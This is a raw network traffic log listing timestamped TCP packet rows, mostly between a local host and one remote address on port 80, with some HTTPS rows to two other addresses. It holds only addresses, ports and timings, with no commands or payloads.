Nov 26, 2024 01:41:40.276719093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.276787043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.276822090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.276865959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.278928995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.279006958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.279031992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.279256105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.281160116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.281266928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.281327009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.283409119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.283514023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.283562899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.285646915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.285716057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.285749912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.285806894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.287925005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.287997007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.288038015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.288155079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.290159941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.290220022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.290254116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.290302992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.292402029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.292519093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.292573929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.294734955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.294856071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.294935942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.296891928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.296933889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.296993971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.299140930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.299249887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.299298048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.301393032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.301445961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.301486015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.301587105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.303649902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.303819895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.303849936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.304052114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.305887938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.306000948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.306207895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.308137894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.308197021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.308255911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.308403969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.310359955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.310467958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.310523987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.312629938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.312689066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.312721968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.312772036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.314851999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.314949989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.315010071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.317096949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.317186117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.317240953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.319324017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.319386005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.319410086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.319449902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.321549892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.321594954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.321646929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.323815107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.323920965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.323925018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.323966026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.326059103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.326123953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.326137066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.326172113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.326272964 CET	443	49862	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:40.326345921 CET	443	49862	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:40.326512098 CET	49862	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:40.326788902 CET	49862	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:40.326802969 CET	443	49862	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:40.328315020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.328386068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.328416109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.328476906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.329042912 CET	443	49863	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:40.329118967 CET	443	49863	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:40.329219103 CET	49863	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:40.329442024 CET	49863	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:40.329454899 CET	443	49863	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:40.330549002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.330610991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.330697060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.330756903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.332835913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.332905054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.332941055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.333044052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.335038900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.335150957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.335186005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.335212946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.337285042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.337346077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.337380886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.337419987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.339497089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.339633942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.339642048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.340431929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.341777086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.341876984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.341905117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.341922998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.344026089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.344144106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.344157934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.344186068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.346268892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.346288919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.346332073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.346353054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.348507881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.348563910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.348628044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.348680019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.350739002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.350791931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.350800037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.350836039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.352993965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.353108883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.353157043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.355243921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.355364084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.355389118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.355403900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.357485056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.357557058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.357583046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.357628107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.359744072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.359853983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.360033035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.361983061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.362050056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.362103939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.449609995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.449676037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.449738979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.449784994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.450503111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.450628996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.450634956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.450680017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.452024937 CET	443	49852	18.165.220.57	192.168.2.6
Nov 26, 2024 01:41:40.452140093 CET	443	49852	18.165.220.57	192.168.2.6
Nov 26, 2024 01:41:40.452140093 CET	49852	443	192.168.2.6	18.165.220.57
Nov 26, 2024 01:41:40.452174902 CET	49852	443	192.168.2.6	18.165.220.57
Nov 26, 2024 01:41:40.452194929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.452281952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.452332973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.452403069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.453903913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.453953981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.454006910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.454051971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.455616951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.455667019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.455714941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.455806971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.457283974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.457396030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.457427025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.457437992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.458986998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.459084988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.459137917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.460602999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.460725069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.460748911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.460777044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.462227106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.462280035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.462359905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.462480068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.463855028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.463901997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.463951111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.465490103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.465544939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.465579033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.465863943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.467048883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.467117071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.467150927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.467273951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.468621016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.468682051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.468714952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.468756914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.470196962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.470252037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.470308065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.470356941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.471740961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.471811056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.471883059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.471967936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.473244905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.473292112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.473357916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.473511934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.474817038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.474873066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.474905014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.474942923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.476298094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.476341963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.476413965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.477775097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.477859974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.477888107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.477901936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.479275942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.479398966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.480304003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.480814934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.480921984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.481059074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.482249022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.482306957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.482362986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.482439041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.483721972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.483787060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.483820915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.483979940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.485188961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.485253096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.485300064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.485341072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.486630917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.486700058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.486732960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.486927986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.488063097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.488127947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.488177061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.488290071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.489496946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.489610910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.489665985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.490952015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.491056919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.491107941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.492391109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.492471933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.492500067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.492610931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.493818998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.493940115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.494080067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.495305061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.495395899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.495407104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.495457888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.496754885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.496804953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.496923923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.497123957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.498161077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.498209953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.498290062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.498336077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.499600887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.499712944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.499762058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.501059055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.501118898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.501169920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.502482891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.502531052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.502594948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.502634048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.503922939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.503994942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.504024029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.504061937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.505400896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.505445957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.505480051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.505523920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.506831884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.506880045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.506913900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.506956100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.508240938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.508285999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.508363962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.508405924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.509696960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.509805918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.509816885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.509974003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.511132956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.511181116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.511253119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.511295080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.512586117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.512635946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.512697935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.512738943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.514043093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.514069080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.514089108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.514103889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.515484095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.515528917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.515535116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.515585899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.516957045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.517023087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.517050982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.517131090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.518362045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.518413067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.518445015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.518486023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.519792080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.519849062 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.519884109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.520427942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.521255970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.521384001 CET	80	49813	185.215.113.206	192.168.2.6
